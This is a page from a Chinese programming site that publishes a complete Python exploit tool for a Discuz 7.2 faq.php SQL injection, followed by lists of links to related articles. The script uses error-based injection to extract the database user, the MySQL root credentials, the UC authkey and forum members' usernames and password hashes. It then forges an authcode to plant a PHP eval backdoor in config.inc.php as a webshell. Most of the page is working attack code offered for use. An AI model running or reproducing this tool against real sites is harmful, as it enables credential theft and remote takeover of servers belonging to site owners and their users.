Python写的Discuz7.2版faq.php注入漏洞工具


Posted in Python onAugust 06, 2014

Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendRequest(url,para):
	try:
		data = urllib.urlencode(para)
		req=urllib2.Request(url,data)
		res=urllib2.urlopen(req,timeout=20).read()
	except Exception, e:
		print 'Exploit Failed!\n%s'%(e)
		exit(0);
	return res

def getTablePrefix(url):
	print 'Start GetTablePrefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res);
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'Table_pre:%s'%(table_pre)
	return table_pre

def getCurrentUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para)
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'Current User:%s'%(table_pre)
	return table_pre

def getUcKey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	res1=sendRequest(url,para1);
	key1=re.findall("Duplicate entry '(.*?)'",res)
	key2=re.findall("Duplicate entry '(.*?)'",res1)
	if len(key1)==0:
		print 'Get Uc_Key Failed!'
		return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getRootUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendRequest(url,para);
	datas=re.findall("Duplicate entry '(.*?)'",res)
	if len(datas)==0:
		print 'Exploit Failed!'
		exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :
  if get_as_float:
    return time.time()
  else:
    return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
  ckey_length = 4
  key = hashlib.md5(key).hexdigest()
  keya = hashlib.md5(key[0:16]).hexdigest()
  keyb = hashlib.md5(key[16:32]).hexdigest()
  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
  key_length = len(cryptkey)
  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  string_length = len(string)
  result = ''
  box = range(0, 256)
  rndkey = dict()
  for i in range(0,256):
    rndkey[i] = ord(cryptkey[i % key_length])
  j=0
  for i in range(0,256):
    j = (j + box[i] + rndkey[i]) % 256
    tmp = box[i]
    box[i] = box[j]
    box[j] = tmp
  a=0
  j=0
  for i in range(0,string_length):
    a = (a + 1) % 256
    j = (j + box[a]) % 256
    tmp = box[a]
    box[a] = box[j]
    box[j] = tmp
    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
  headers={'Accept-Language':'zh-cn',
  'Content-Type':'application/x-www-form-urlencoded',
  'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
  'Referer':url
  }
  tm = time.time()+10*3600
  tm="time=%d&action=updateapps" %tm
  code = urllib.quote(get_authcode(tm,key))
  url=url+"?code="+code
  data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data1,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "Exploit Falied"
  data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://aaa</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data2,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "error"

  try:
  	req=urllib2.Request(host+'/config.inc.php')
  	res=urllib2.urlopen(req,timeout=20).read()
  except Exception, e:
  	print 'GetWebshell Failed,%s'%(e)
   	return
  print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'DZ7.x Exp Code By iswin'
	if len(sys.argv)<3:
		print 'DZ7.x Exp Code By iswin\nusage:python dz7.py https://3water.com 10'
		exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getCurrentUser(url)
	if user.startswith('root@'):
		getRootUser(url)
	uc_key=getUcKey(url)
	if len(uc_key)==64:
		print 'Start GetWebshell...'
		get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=getTablePrefix(url)
	print 'Start DumpData...'
	for x in xrange(0,count):
		dumpData(url,tb_pre,x)
Python 相关文章推荐
在Django的URLconf中使用多个视图前缀的方法
Jul 18 Python
详解Python中使用base64模块来处理base64编码的方法
Jul 01 Python
Python入门_学会创建并调用函数的方法
May 16 Python
Python实现求两个csv文件交集的方法
Sep 06 Python
Python实现按当前日期(年、月、日)创建多级目录的方法
Apr 26 Python
Python  unittest单元测试框架的使用
Sep 08 Python
python 通过可变参数计算n个数的乘积方法
Jun 13 Python
python lambda表达式在sort函数中的使用详解
Aug 28 Python
Python脚本操作Excel实现批量替换功能
Nov 20 Python
Python注释、分支结构、循环结构、伪“选择结构”用法实例分析
Jan 09 Python
PyTorch如何搭建一个简单的网络
Aug 24 Python
Matlab如何实现矩阵复制扩充
Jun 02 Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
用python删除java文件头上版权信息的方法
Jul 31 #Python
You might like
php dirname(__FILE__) 获取当前文件的绝对路径
2011/06/28 PHP
php实现图形显示Ip地址的代码及注释
2014/01/20 PHP
php使用百度ping服务代码实例
2014/06/19 PHP
PHP实现通用alert函数的方法
2015/03/11 PHP
PHP生成json和xml类型接口数据格式
2015/05/17 PHP
Yii核心验证器api详解
2016/11/23 PHP
php面向对象的用户登录身份验证
2017/06/08 PHP
PHP实现的Redis多库选择功能单例类
2017/07/27 PHP
Javascript Select操作大集合
2009/05/26 Javascript
最新28个很棒的jQuery 教程
2011/05/28 Javascript
jquery select动态加载选择(兼容各种浏览器)
2013/02/01 Javascript
关于Jquery操作Cookie取值错误的解决方法
2013/08/26 Javascript
JavaScript中Number.MIN_VALUE属性的使用示例
2015/06/04 Javascript
JQuery在循环中绑定事件的问题详解
2016/06/02 Javascript
jquery UI Datepicker时间控件冲突问题解决
2016/12/16 Javascript
JS定时检测任务任务完成后执行下一步的解决办法
2016/12/22 Javascript
JavaScript校验Number(4,1)格式的数字实例代码
2017/03/13 Javascript
javascript基础进阶_深入剖析执行环境及作用域链
2017/09/05 Javascript
浅谈关于iview表单验证的问题
2018/09/29 Javascript
koa源码中promise的解读
2018/11/13 Javascript
详解@angular/cli 改变默认启动端口两种方式
2018/11/29 Javascript
vue-cli3+typescript初体验小结
2019/02/28 Javascript
ES6中的class是如何实现的(附Babel编译的ES5代码详解)
2019/05/17 Javascript
vue输入框使用模糊搜索功能的实现代码
2020/05/26 Javascript
python 将字符串转换成字典dict
2013/03/24 Python
详解Python多线程
2016/11/14 Python
Python序列化与反序列化pickle用法实例
2019/11/11 Python
python读取Kafka实例
2019/12/23 Python
Python跑循环时内存泄露的解决方法
2020/01/13 Python
Python各种扩展名区别点整理
2020/02/27 Python
浅谈keras 模型用于预测时的注意事项
2020/06/27 Python
详解python中的异常和文件读写
2021/01/03 Python
专注澳大利亚特产和新西兰特产的澳洲中文网:0061澳洲制造
2019/03/24 全球购物
大学生党员学习焦裕禄精神思想汇报
2014/09/10 职场文书
2014领导干部四风问题查摆思想汇报
2014/09/13 职场文书
大学辅导员述职报告
2015/01/10 职场文书